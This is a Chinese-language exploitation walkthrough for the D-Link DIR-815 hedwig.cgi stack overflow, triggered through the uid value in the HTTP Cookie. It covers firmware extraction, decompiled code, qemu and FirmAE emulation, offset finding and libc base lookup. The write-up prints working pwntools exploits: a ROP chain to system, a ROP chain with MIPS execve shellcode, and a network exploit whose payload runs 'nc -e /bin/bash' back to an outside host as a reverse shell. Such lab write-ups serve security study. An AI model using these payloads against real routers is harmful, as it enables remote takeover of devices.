首先:

1
2
3
wget https://
unzip 文件名
binwalk -Me .bin

IDA:

漏洞函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
45行	v0是请求方式,发现是post方式
if ( strcasecmp(v0, "POST") )
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}

50行 进入这个函数
cgibin_parse_request(sub_409AC4, 0, 0x20000);

50/22行 输入两个环境变量,getenv为查找变量的值
if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 )

50/32
v10 = getenv("REQUEST_URI");

回到hedwigcgi_main:
67行 进入这个函数
sess_get_uid(v4);

14行 获取环境变量cookie
v3 = getenv("HTTP_COOKIE");
这里获取到了COOKIE之后赋值给了v3,在后续v3又赋值给了v5,再通过指针的形式传递给v7,在通过对特定符号(比如 = ; 等符号)的判断对 COOKIE 进行分离

sess_get_uid函数 的作用就是将 COOKIE 中 uid= 后面的内容提取出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
int __fastcall sess_get_uid(int a1)
{
void *v2; // $s2
char *v3; // $v0
void *v4; // $s3
char *v5; // $s4
int v6; // $s1
int v7; // $s0
char *string; // $v0
int result; // $v0

v2 = (void *)sobj_new();
v4 = (void *)sobj_new();
v3 = getenv("HTTP_COOKIE");//获取环境变量cookie
if ( !v2 )
goto LABEL_27;
if ( !v4 )
goto LABEL_27;
v5 = v3;//v3值给v5
if ( !v3 )
goto LABEL_27;
v6 = 0;
while ( 1 )
{
v7 = *v5;//v7指向v5
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == 32 )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == 59 )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(v2, v7);//‘=’前给v2,后面的给v7
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == 59 )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}
if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);//获取uid对应的值
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;
}

回到main函数,69行,string就是v4,就是我们获取uid=后面的内容,向s输入东西

1
2
栈溢出可能
char s[1024]; // [sp+C8h] [-400h] BYREF
1
2
string = (const char *)sobj_get_string(v4);
snprintf(s, 0x400u, "%s/%s/postxml", "/runtime/session", string);

133行,也是向s输入东西,输入的内容 v20 的内容也是 v4,而 v4 从第一个 sprintf函数 到这第二个 sprintf函数 没有发生改变,所以同样 v4 也是 cookie 中的 uid= 后面的内容,所以利用漏洞的时候我们只需要将 cookieuid= 后面的内容当成 payload 来输入就行了

1
snprintf(s, 0x400u, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

前提条件

1.要有这个/var/tmp/temp.xml

2.haystack=0

1
2
3
4
5
6
7
8
9
10
11
12
LABEL_34:
v7 = fopen("/var/tmp/temp.xml", "w");
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}

绕过 1 的方法: 在我们模拟环境的时候在系统内创建一个/var/tmp文件夹就行

绕过 2 的方法: 在 cgibin_parse_request(sub_409A6C, 0, 0x20000);sub_409AC4 中有对 haystack 进行操作;而要进入这个函数,只要使用POST方式进入

1
cgibin_parse_request((int)sub_409AC4, 0, 0x20000u);
1
2
3
4
5
6
7
8
9
char *__fastcall sub_409AC4(int a1, int a2)
{
char *result; // $v0
if ( haystack )
free(haystack);
result = (char *)sobj_strdup(*(_DWORD *)(a2 + 4));
haystack = result;
return result;
}

动态调试:

1
2
3
cd ~/FirmAE
sudo ./run.sh -d dlink /home/lion/_DIR815A1_FW104b04_20191217_beta01.bin-0.extracted/DIR815A1_FW104b04_20191217_beta01.bin

1
2
3
4
5
6
7
8
9
> 2
Trying 192.168.0.1...
Connected to 192.168.0.1.
Escape character is '^]'.

/ # ps | grep "httpd"
2307 root 1564 S httpd -f /var/run/httpd.conf
2788 root 656 S grep httpd

1
2
3
4
[+] target pid : 2307
[+] gdbserver at 192.168.0.1:1337 attach on 2307
[+] run "target remote 192.168.0.1:1337" in host gdb-multiarch

输入2进入命令行, ps | grep "httpd" 看进程,为2303,ctrl+D退出,输入4进入gdb,输入2303获取远端

测试溢出大小

在ubuntu22的虚拟机上测试

建立run.sh:

1
2
3
4
5
6
INPUT="username=Pwner"                      
LEN=$(echo -n "$INPUT" | wc -c)
COOKIE="uid=`cat payload`"

echo $INPUT | qemu-mipsel -L ./ -0 "hedwig.cgi" -E REQUEST_METHOD="POST" -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E HTTP_COOKIE=$COOKIE -E REQUEST_URI="2333" -g 1234 ./htdocs/cgibin

1
2
3
4
5
set architecture mips    
set follow-fork-mode child
set detach-on-fork off
target remote 127.0.0.1:1234
// gdb-multiarch -x mygdb.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
 V0   0
*V1 0x4b
*A0 0x407ff3a0 —▸ 0x3ffae4e0 ◂— 0x3ffae4e0
*A1 1
*A2 0x42e000 ◂— 0x42e000
*A3 0x20
*T0 0x3ffab4c8 (__malloc_state) ◂— 0x3ffab4c8
*T1 0x1f49
*T2 2
*T3 0x24
*T4 0x25
*T5 0x807
*T6 0x800
*T7 0x400
*T8 8
*T9 0
*S0 0x746a6161 ('aajt')
*S1 0x756a6161 ('aaju')
*S2 0x766a6161 ('aajv')
*S3 0x776a6161 ('aajw')
*S4 0x786a6161 ('aajx')
*S5 0x796a6161 ('aajy')
*S6 0x7a6a6161 ('aajz')
*S7 0x626b6161 ('aakb')
*S8 0x636b6161 ('aakc')
GP 0x4346d0
FP 0x407ff8a0 ◂— 0x407ff8a0
*SP 0x407ff8a0 ◂— 0x407ff8a0
RA 0x646b6161 ('aakd')
*PC 0x646b6161 ('aakd')
───────────────────────[ DISASM / mips / set emulate on ]───────────────────────
Invalid address 0x646b6161










───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ fp sp 0x407ff8a0 ◂— 0x407ff8a0
01:0004│+004 0x407ff8a4 ◂— 0x407ff8a4
02:0008│+008 0x407ff8a8 ◂— 0x407ff8a8
03:000c│+00c 0x407ff8ac ◂— 0x407ff8ac
04:0010│+010 0x407ff8b0 ◂— 0x407ff8b0
05:0014│+014 0x407ff8b4 ◂— 0x407ff8b4
06:0018│+018 0x407ff8b8 ◂— 0x407ff8b8
07:001c│+01c 0x407ff8bc ◂— 0x407ff8bc
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
0 0x646b6161 None
────────────────────────────────────────────────────────────────────────────────
pwndbg>
pwndbg> cyclic -l 0x646b6161
Finding cyclic pattern of 4 bytes: b'aakd' (hex: 0x61616b64)
Found at offset 1009
pwndbg> cyclic -l 0x746a6161
Finding cyclic pattern of 4 bytes: b'aajt' (hex: 0x61616a74)
Found at offset 973
pwndbg>

可以发现s8后面一位就是ra,ra指向的是命令执行

然后是查找libc地址,注意看$t9会指向memset的地址,但是会有延迟绑定

1770601550086

1770601780913

1770601813385

这样我们就找到了memset的地址,然后找偏移,将 libuClibc-0.9.30.1.so 放入IDA,得到libcbase=0x3FF38000

1770602328408

纯rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x3FF38000

payload = b'a'*0x3cd #0x3cd=973
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x159F4) # s1 move $t9, $s0 (=> jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x6dfd0) # s3 /bin/sh
payload += b'a'*(4*2)
payload += p32(libc_base + 0x32A98) # s6 addiu $s0, 1 (=> jalr $s1)
payload += b'a'*(4*2)
payload += p32(libc_base + 0x13F8C) # ra move $a0, $s3 (=> jalr $s6)($a0相当于是rdi)

payload = b"uid=" + payload
post_content = "pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

rop+shellcode

IDA查看下sleep函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 # int __fastcall sleep(int)
.globl sleep
sleep:

var_1A0= -0x1A0
var_198= -0x198
var_194= -0x194
var_190= -0x190
var_110= -0x110
var_90= -0x90
var_8C= -0x8C
var_s0= 0
var_s4= 4
var_s8= 8
var_sC= 0xC
var_s10= 0x10
var_s14= 0x14

li $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)
addu $gp, $t9
addiu $sp, -0x1C8
sw $ra, 0x1B0+var_s14($sp) #ra:0x14
sw $s4, 0x1B0+var_s10($sp) #s4:0x10
sw $s3, 0x1B0+var_sC($sp)
sw $s2, 0x1B0+var_s8($sp)
sw $s1, 0x1B0+var_s4($sp)
sw $s0, 0x1B0+var_s0($sp) #与sp距离0x18
sw $gp, 0x1B0+var_1A0($sp)
li $v1, 0x20 # ' '
bnez $a0, loc_56C18
move $s2, $zero
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x3FF38000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1) 这里的rop主要作用就是跳到sleep

# 接下去是构造 sleep 中的栈
payload += b'a'*0x18 # 偏移,让栈对其slepp函数需要的
payload += b'a'*(4*4) # s0-s3
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9) 跳到shellcode执行
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4) a1=sp+0x18,使 a1 指向 shellcode,然后跳到 s4 也就是上一行,我个人是觉得输出完payload$sp会恢复,然后执行函数

shellcode = asm('''
slti $a2, $zero, -1
li $t7, 0x69622f2f
sw $t7, -12($sp)
li $t6, 0x68732f6e
sw $t6, -8($sp)
sw $zero, -4($sp)
la $a0, -12($sp)
slti $a1, $zero, -1
li $v0, 4011
syscall 0x40404
''')
payload += b'a'*0x18
payload += shellcode

payload = b"uid=" + payload
post_content = "winmt=pwner"
io = process(b"""
qemu-mipsel -L ./ \
-0 "hedwig.cgi" \
-E REQUEST_METHOD="POST" \
-E CONTENT_LENGTH=11 \
-E CONTENT_TYPE="application/x-www-form-urlencoded" \
-E HTTP_COOKIE=\"""" + payload + b"""\" \
-E REQUEST_URI="2333" \
./htdocs/cgibin
""", shell = True)
io.send(post_content)
io.interactive()

1770605480623

太不容易~,要注意的是不同虚拟机版本的libc_base不同,脑子抽了把ubuntu22得到的libc_base放到ubuntu18运行了

qemu系统模式模拟

自动

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
yy@yy-virtual-machine:~/firmware-analysis-plus% ls
CHANGELOG fap.py qemu-builds setup.sh
DIR-815_FW_1.01b14_1.01b14.bin firmadyne README_EN.md shutdown.py
docker-menu.sh images README.md testcases
fap.config LICENSE reset.py
yy@yy-virtual-machine:~/firmware-analysis-plus% ./fap.py DIR-815_FW_1.01b14_1.01b14.bin


______ _ ___
| ___| (_) / _ \
| |_ _ _ __ ___ / /_\ \ _ __ ___
| _| | | | '_ ` _ \ | _ | | '_ \ / __| ++
| | | | | | | | | | | | | | | | | | \__ \
\_| |_| |_| |_| |_| \_| |_/ |_| |_| |___/

Welcome to the Firmware Analysis Plus - v2.3.1
By lys - https://github.com/liyansong2018/firmware-analysis-plus

[+] Firmware: DIR-815_FW_1.01b14_1.01b14.bin
[+] Extracting the firmware...
[+] Image ID: 1
[+] Identifying architecture...
[+] Architecture: mipsel
[+] Building QEMU disk image...
[+] Setting up the network connection, please standby...
[+] Network interfaces: [('br0', '192.168.0.1')]
[+] All set! Press ENTER to run the firmware...
[+] When running, press Ctrl + A X to terminate qemu
[+] Command line: /home/yy/firmware-analysis-plus/firmadyne/scratch/1/run.sh
[sudo] yy 的密码:
Creating TAP device tap1_0...
Set 'tap1_0' persistent and owned by uid 0

1770866687514

连接成功

上面这个是自动调试,但是还没搞明白为什么挑不出qemu终端

手动

接下来是自己配置的,我的环境是ubuntu18

先创建一个net.sh文本,ifconfig查看网卡,我这里是ens33,然后执行

1
2
3
4
5
6
7
8
9
10
11
#!/bin/sh
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息

然后再执行

1
2
3
4
5
6
#!/bin/sh
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0

然后用这个脚本启动qemu

1
sudo qemu-system-mipsel -M malta -kernel vmlinux-2.6.32-5-4kc-malta -hda debian_squeeze_mipsel_standard.qcow2 -append "root=/dev/sda1 console=tty0" -nographic -net nic -net tap,ifname=tap0,script=no,downscript=no

然后会显示这个,账号密码都是root,然后查看ip,网卡是eth0,但是没有地址所以我们给他配一个ip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
Debian GNU/Linux 6.0 debian-mipsel ttyS0

debian-mipsel login: root
Password:
Linux debian-mipsel 2.6.32-5-4kc-malta #1 Tue Sep 24 01:20:35 UTC 2013 mips

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@debian-mipsel:~# ifconfig
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:1836 (1.7 KiB)
Interrupt:10 Base address:0x1020

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:8 errors:0 dropped:0 overruns:0 frame:0
TX packets:8 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:560 (560.0 B) TX bytes:560 (560.0 B)

root@debian-mipsel:~# ifconfig eth0 192.168.2.160 netmask 255.255.255.0 up
root@debian-mipsel:~# ifconfig eth0
eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56
inet addr:192.168.2.160 Bcast:192.168.2.255 Mask:255.255.255.0
inet6 addr: fe80::5054:ff:fe12:3456/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:1836 (1.7 KiB)
Interrupt:10 Base address:0x1020

root@debian-mipsel:~#

然后ping一下看看能不能连接上

1
2
3
4
5
6
7
8
9
10
11
yy@yy-virtual-machine:~% ping 192.168.2.160
PING 192.168.2.160 (192.168.2.160) 56(84) bytes of data.
64 bytes from 192.168.2.160: icmp_seq=1 ttl=64 time=5.27 ms
64 bytes from 192.168.2.160: icmp_seq=2 ttl=64 time=0.402 ms
64 bytes from 192.168.2.160: icmp_seq=3 ttl=64 time=0.428 ms
64 bytes from 192.168.2.160: icmp_seq=4 ttl=64 time=0.558 ms
^C
--- 192.168.2.160 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3038ms
rtt min/avg/max/mdev = 0.402/1.664/5.270/2.082 ms
yy@yy-virtual-machine:~%

可以连接,那我们接下来就启动httpd服务

在squashfa-root所在目录执行 ,注意ip要换成自己的

1
sudo scp -r ./squashfs-root root@192.168.2.238:/root/squashfs-root 

然后查看qemu目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@debian-mipsel:~# ls
squashfs-root
root@debian-mipsel:~# cd squashfs-root
root@debian-mipsel:~/squashfs-root# ls
bin etc home lib proc sbin usr
cgibin etc.tar.gz htdocs mnt qemu-mipsel-static sys var
dev gdb.sh init.sh payload run.sh tmp www
root@debian-mipsel:~/squashfs-root# touch http_conf
root@debian-mipsel:~/squashfs-root# ls
bin etc home init.sh payload run.sh tmp www
cgibin etc.tar.gz htdocs lib proc sbin usr
dev gdb.sh http_conf mnt qemu-mipsel-static sys var
root@debian-mipsel:~/squashfs-root#

然后touch一个http_conf文本,内容设为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On #开启log
ErrorLog /log #log文件

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.2.238 #qemu仿真路由器系统的IP
Port "80" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias /
Location /htdocs/web
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}


然后在物理机上 /opt/tools/mipsel 目录中新建 init.sh 文件,写入如下配置并运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

然后在qemu终端创建init.sh文本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

然后是在sbin目录下执行

1
./httpd -f /root/squashfs-root/http_conf

然后访问http://192.168.2.238/hedwig.cgi就会出现如下页面

1771157450706

然后接下来就是调试了,要先下载一个gdbserver.mipsl

embedded-tools/binaries/gdbserver at master · rapid7/embedded-tools

然后将其上传到qemu终端的squashfs-root的文件夹

1
scp -r ./gdbserver.mipsle root@192.168.2.238:/root/squashfs-root

然后是运行run.sh文件在qemu中,执行

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/bin/bash
export CONTENT_LENGTH="11"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="uid=`cat payload`"
export REQUEST_METHOD="POST"
export REQUEST_URI="2333"
echo "winmt=pwner"|./gdbserver.mipsle 192.168.2.238:7788 /htdocs/web/hedwig.cgi
#echo "winmt=pwner"|/htdocs/web/hedwig.cgi
unset CONTENT_LENGTH
unset CONTENT_TYPE
unset HTTP_COOKIE
unset REQUEST_METHOD
unset REQUEST_URI

然后本地

1
2
gdb-multiarch /cgibin路径
target remote 192.168.2.238:7788

然后就是找到libcbase了,就不再贴了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/python3
from pwn import *
context.endian = "little"
context.arch = "mips"

import requests
import sys
def get_payload(offset, libc_base, cmd):
Calcsystem = 0x158c8 # $s0 add 1, jalr $s5
Callsystem = 0x159cc # '/bin/sh' -> $a0, jalr system
system_addr_1 = 0x53200 - 1
payload = b'A' * offset # 973
payload += p32(libc_base + system_addr_1) # s0 977
payload += b'A' * 4 # s1 981
payload += b'A' * 4 # s2 985
payload += b'A' * 4 # s3 989
payload += b'A' * 4 # s4 993
payload += p32(libc_base + Callsystem) # s5 997
payload += b'A' * 4 # s6 1001
payload += b'A' * 4 # s7 1005
payload += b'A' * 4 # fp 1009
payload += p32(libc_base + Calcsystem) # ra
payload += b'B' * 0x10
payload += cmd
return payload

if __name__ == "__main__":
cmd = b"nc -e /bin/bash (物理机ip)7788"
cookie = b'uid=' + get_payload(973, 0x2aaf8000, cmd)
header = {
'Cookie': cookie,
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': '100'
}
data = {'x': 'x'}
ip_port = sys.argv[1]
url = "http://" + (qemu ip) + "/hedwig.cgi"
r = requests.post(url=url, headers=header, data=data)
print(r.text)

然后执行

1
2
nc -lvvp 7788
id